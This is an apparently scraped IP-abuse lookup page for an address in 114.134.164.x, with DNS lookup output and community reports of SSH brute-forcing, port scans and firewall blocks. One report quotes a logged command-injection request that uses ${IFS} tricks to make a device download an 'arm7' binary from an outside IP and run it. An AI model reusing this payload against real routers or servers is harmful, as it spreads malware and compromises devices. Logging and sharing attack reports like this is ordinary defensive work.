Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: None

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
IP Type Details Datetime
114.134.164.222 attackbotsspam
400 BAD REQUEST
2020-04-27 19:10:20
114.134.164.222 attack
/cgi-bin/mainfunction.cgi%3Faction=login%26keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://192.3.45.185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27%26loginUser=a%26loginPwd=a
2020-04-05 02:27:08
Whois info:
b
Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 114.134.164.238
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 17149
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;114.134.164.238.		IN	A

;; AUTHORITY SECTION:
.			297	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022030400 1800 900 604800 86400

;; Query time: 76 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sat Mar 05 03:07:45 CST 2022
;; MSG SIZE  rcvd: 108
Host info
238.164.134.114.in-addr.arpa domain name pointer 114-134-164-238.static.nztechnologygroup.com.
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

Non-authoritative answer:
238.164.134.114.in-addr.arpa	name = 114-134-164-238.static.nztechnologygroup.com.

Authoritative answers can be found from:
Related IP info:
Related comments:
IP Type Details Datetime
118.89.240.188 attackspambots
Oct  4 07:46:33 vps647732 sshd[5046]: Failed password for root from 118.89.240.188 port 56830 ssh2
...
2019-10-04 14:30:28
45.136.109.197 attackbotsspam
Port-scan: detected 145 distinct ports within a 24-hour window.
2019-10-04 14:49:50
198.20.70.114 attackspambots
Automatic report - Port Scan Attack
2019-10-04 14:34:58
140.143.72.21 attack
Oct  3 20:14:05 web9 sshd\[9604\]: Invalid user Shadow@2017 from 140.143.72.21
Oct  3 20:14:05 web9 sshd\[9604\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=140.143.72.21
Oct  3 20:14:08 web9 sshd\[9604\]: Failed password for invalid user Shadow@2017 from 140.143.72.21 port 53236 ssh2
Oct  3 20:22:12 web9 sshd\[10597\]: Invalid user Avignon-123 from 140.143.72.21
Oct  3 20:22:12 web9 sshd\[10597\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=140.143.72.21
2019-10-04 14:29:59
51.75.26.51 attackbots
Oct  3 18:43:06 tdfoods sshd\[10170\]: Invalid user 123Express from 51.75.26.51
Oct  3 18:43:06 tdfoods sshd\[10170\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.ip-51-75-26.eu
Oct  3 18:43:08 tdfoods sshd\[10170\]: Failed password for invalid user 123Express from 51.75.26.51 port 33658 ssh2
Oct  3 18:47:24 tdfoods sshd\[10532\]: Invalid user Exotic@123 from 51.75.26.51
Oct  3 18:47:24 tdfoods sshd\[10532\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.ip-51-75-26.eu
2019-10-04 14:53:13
144.135.85.184 attackspambots
Oct  4 07:01:13 h2177944 sshd\[16734\]: Invalid user Admin!2\# from 144.135.85.184 port 42485
Oct  4 07:01:13 h2177944 sshd\[16734\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=144.135.85.184
Oct  4 07:01:15 h2177944 sshd\[16734\]: Failed password for invalid user Admin!2\# from 144.135.85.184 port 42485 ssh2
Oct  4 07:06:30 h2177944 sshd\[17168\]: Invalid user Sky@123 from 144.135.85.184 port 3366
...
2019-10-04 14:20:46
51.75.17.228 attackspam
Oct  4 02:12:03 TORMINT sshd\[23529\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.75.17.228  user=root
Oct  4 02:12:05 TORMINT sshd\[23529\]: Failed password for root from 51.75.17.228 port 40176 ssh2
Oct  4 02:15:49 TORMINT sshd\[23794\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.75.17.228  user=root
...
2019-10-04 14:18:02
185.153.199.2 attackbotsspam
10/04/2019-07:58:55.331033 185.153.199.2 Protocol: 6 ET SCAN Suspicious inbound to mySQL port 3306
2019-10-04 14:35:35
88.148.44.219 attackspam
Lines containing failures of 88.148.44.219
Oct  1 08:26:54 www sshd[22700]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=88.148.44.219  user=r.r
Oct  1 08:26:56 www sshd[22700]: Failed password for r.r from 88.148.44.219 port 33675 ssh2
Oct  1 08:27:01 www sshd[22700]: message repeated 2 serveres: [ Failed password for r.r from 88.148.44.219 port 33675 ssh2]
Oct  1 08:27:03 www sshd[22700]: Failed password for r.r from 88.148.44.219 port 33675 ssh2
Oct  1 08:27:05 www sshd[22700]: Failed password for r.r from 88.148.44.219 port 33675 ssh2
Oct  1 08:27:08 www sshd[22700]: Failed password for r.r from 88.148.44.219 port 33675 ssh2
Oct  1 08:27:08 www sshd[22700]: error: maximum authentication attempts exceeded for r.r from 88.148.44.219 port 33675 ssh2 [preauth]
Oct  1 08:27:08 www sshd[22700]: Disconnecting authenticating user r.r 88.148.44.219 port 33675: Too many authentication failures [preauth]
Oct  1 08:27:08 www sshd[22700]........
------------------------------
2019-10-04 14:51:54
91.193.253.248 attackspambots
Oct  1 19:49:54 our-server-hostname postfix/smtpd[20356]: connect from unknown[91.193.253.248]
Oct x@x
Oct x@x
Oct x@x
Oct x@x
Oct x@x
Oct x@x
Oct x@x
Oct x@x
Oct x@x
Oct x@x
Oct x@x
Oct x@x
Oct x@x


........
-----------------------------------------------
https://www.blocklist.de/en/view.html?ip=91.193.253.248
2019-10-04 15:00:49
47.22.135.70 attack
Tried sshing with brute force.
2019-10-04 14:59:29
14.204.104.196 attackbots
port scan and connect, tcp 23 (telnet)
2019-10-04 14:34:00
85.240.40.120 attackspambots
Oct  4 07:16:00 XXX sshd[52843]: Invalid user ofsaa from 85.240.40.120 port 37190
2019-10-04 14:17:31
109.167.231.203 attack
Automatic report - Port Scan
2019-10-04 14:48:30
181.174.167.192 attackspam
Oct  3 21:01:58 localhost kernel: [3888737.873973] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:84:78:ac:57:a8:41:08:00 SRC=181.174.167.192 DST=[mungedIP2] LEN=40 TOS=0x08 PREC=0x20 TTL=81 ID=14975 DF PROTO=TCP SPT=63471 DPT=22 WINDOW=29200 RES=0x00 SYN URGP=0 
Oct  3 21:01:58 localhost kernel: [3888737.874006] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:84:78:ac:57:a8:41:08:00 SRC=181.174.167.192 DST=[mungedIP2] LEN=40 TOS=0x08 PREC=0x20 TTL=81 ID=14975 DF PROTO=TCP SPT=63471 DPT=22 SEQ=212934704 ACK=0 WINDOW=29200 RES=0x00 SYN URGP=0 
Oct  3 23:56:04 localhost kernel: [3899183.544621] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:84:78:ac:57:a8:41:08:00 SRC=181.174.167.192 DST=[mungedIP2] LEN=40 TOS=0x00 PREC=0x20 TTL=52 ID=57234 DF PROTO=TCP SPT=55558 DPT=22 WINDOW=29200 RES=0x00 SYN URGP=0 
Oct  3 23:56:04 localhost kernel: [3899183.544659] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:84:78:ac:57:a8:41:08:00 SRC=181.174.167.192 DST=[mungedIP2] LEN=40 TOS
2019-10-04 14:44:40

Recently Reported IPs

114.134.164.122 114.134.165.170 204.134.218.94 114.134.169.132
114.134.164.166 114.134.168.190 114.134.166.22 114.134.170.116
90.121.252.204 114.134.184.216 114.134.172.50 114.134.184.194
114.134.170.68 114.134.170.234 114.134.184.172 115.211.231.106
114.134.184.181 114.134.184.252 114.134.186.1 115.211.231.114